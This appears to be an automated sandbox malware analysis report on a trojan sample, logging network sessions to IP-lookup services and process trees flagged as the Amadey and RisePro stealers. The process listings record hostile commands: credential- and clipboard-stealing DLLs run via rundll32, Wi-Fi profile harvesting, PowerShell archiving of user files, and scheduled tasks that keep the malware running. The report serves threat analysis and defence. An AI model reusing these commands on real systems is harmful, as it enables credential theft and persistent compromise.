2024-04-13 18:21:57 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49790	172.67.75.166	443	6052	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:21:58 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:21:58 UTC	666	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:21:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46CF3D:26E8_93878F2E:0050_661ACD46_7E4756E:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DkdgVglKxCLH572rx%2FqMzMCySH0a6C9TGozNu9ajk3%2FVkMWAEyC4LoLtVVTxOyNFk6H41np%2B%2B8sQHsR5%2Bq8ouOqTc1tVku5c4OOp%2FY%2B%2BFSJPoEDhwMkV%2Fxtxug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7a986c1908ec-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:21:58 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:21:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49792	34.117.186.192	443	3176	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:22:00 UTC	237	OUT	GET /widget/demo/81.181.54.60 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-13 18:22:00 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 13 Apr 2024 18:22:00 GMT content-type: application/json; charset=utf-8 Content-Length: 991 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 4 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-13 18:22:00 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 34 2e 36 30 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 34 2e 30 35 32 32 2c 2d 31 31 38 2e 32 34 33 37 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 39 30 30 30 39 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "input": "81.181.54.60", "data": { "ip": "81.181.54.60", "city": "Los Angeles", "region": "California", "country": "US", "loc": "34.0522,-118.2437", "org": "AS212238 Datacamp Limited", "postal": "90009", "timezone": "
2024-04-13 18:22:00 UTC	249	IN	Data Raw: 3a 20 7b 0a 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: : { "address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49794	172.67.75.166	443	3176	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-13 18:22:00 UTC	261	OUT	GET /demo/home.php?s=81.181.54.60 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-13 18:22:01 UTC	650	IN	HTTP/1.1 200 OK Date: Sat, 13 Apr 2024 18:22:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46D667:70D0_93878F2E:0050_661ACD49_7E475A2:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F7uNos01yJJ7tW%2Fea5EWiMi2QCkfw3EbFZC82S8FU7L5ImLKqOHusZeCXMG3N8Diu378c2OSOe4OzY1dT2kY0yGFOMfvMKLTwLPHnxfoOFT9Ihl5x2RF2C88gQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 873d7aa96dca7d74-LAX alt-svc: h3=":443"; ma=86400
2024-04-13 18:22:01 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-13 18:22:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	20:19:54
Start date:	13/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe"
Imagebase:	0xb00000
File size:	3'086'848 bytes
MD5 hash:	F70A70F653AE553A805FD21BC3092B13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1645556467.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:19:59
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0x480000
File size:	3'086'848 bytes
MD5 hash:	F70A70F653AE553A805FD21BC3092B13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1690165240.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:20:01
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:	0x480000
File size:	3'086'848 bytes
MD5 hash:	F70A70F653AE553A805FD21BC3092B13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1706644741.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:21:00
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0x480000
File size:	3'086'848 bytes
MD5 hash:	F70A70F653AE553A805FD21BC3092B13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2891590864.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2294672609.0000000004700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:21:07
Start date:	13/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0x40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:21:07
Start date:	13/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0x7ff742f40000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:21:08
Start date:	13/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6581c0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:21:08
Start date:	13/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:21:09
Start date:	13/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:21:09
Start date:	13/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:21:09
Start date:	13/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Imagebase:	0x40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2897232652.000000006E5B1000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	20:21:10
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"
Imagebase:	0x100000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:21:14
Start date:	13/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x900000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:21:14
Start date:	13/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:21:14
Start date:	13/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x900000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:21:14
Start date:	13/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:21:14
Start date:	13/04/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x9a0000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs Detection: 48%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	20:21:14
Start date:	13/04/2024
Path:	C:\ProgramData\MPGPH131\MPGPH131.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MPGPH131\MPGPH131.exe
Imagebase:	0x9a0000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	20:21:17
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:
File size:	3'086'848 bytes
MD5 hash:	F70A70F653AE553A805FD21BC3092B13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	20:21:20
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"
Imagebase:	0x100000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	20:21:24
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000049001\amert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000049001\amert.exe"
Imagebase:	0x4a0000
File size:	1'876'480 bytes
MD5 hash:	14A7790619E67FB66BB29AD3A979C36B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2530989609.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2571487121.00000000004A1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:21:27
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
Imagebase:	0x160000
File size:	1'876'480 bytes
MD5 hash:	14A7790619E67FB66BB29AD3A979C36B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2562352728.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2602620211.0000000000161000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:21:28
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0xe30000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	20:21:37
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe"
Imagebase:	0x100000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	20:21:46
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Imagebase:	0xe30000
File size:	2'256'896 bytes
MD5 hash:	C9C09952C1C03B2FE8FFB27EEA781AC5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	20:22:00
Start date:	13/04/2024
Path:	C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
Imagebase:	0x160000
File size:	1'876'480 bytes
MD5 hash:	14A7790619E67FB66BB29AD3A979C36B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2889754714.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2890551485.0000000000161000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.2%
Total number of Nodes:	414
Total number of Limit Nodes:	10

Executed Functions

Function 00B05DC8 Relevance: 18.8, APIs: 3, Strings: 7, Instructions: 1325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00000001,?), ref: 00B05F0D
RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 00B05F3B
RegCloseKey.KERNELBASE(?), ref: 00B05F47

Strings

NtUnmapViewOfSection, xrefs: 00B06D08
ntdll.dll, xrefs: 00B06D0D
stoi argument out of range, xrefs: 00B06C01
, xrefs: 00B06CF0
VUUU, xrefs: 00B06AC1
invalid stoi argument, xrefs: 00B06C10
(, xrefs: 00B06DB6

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
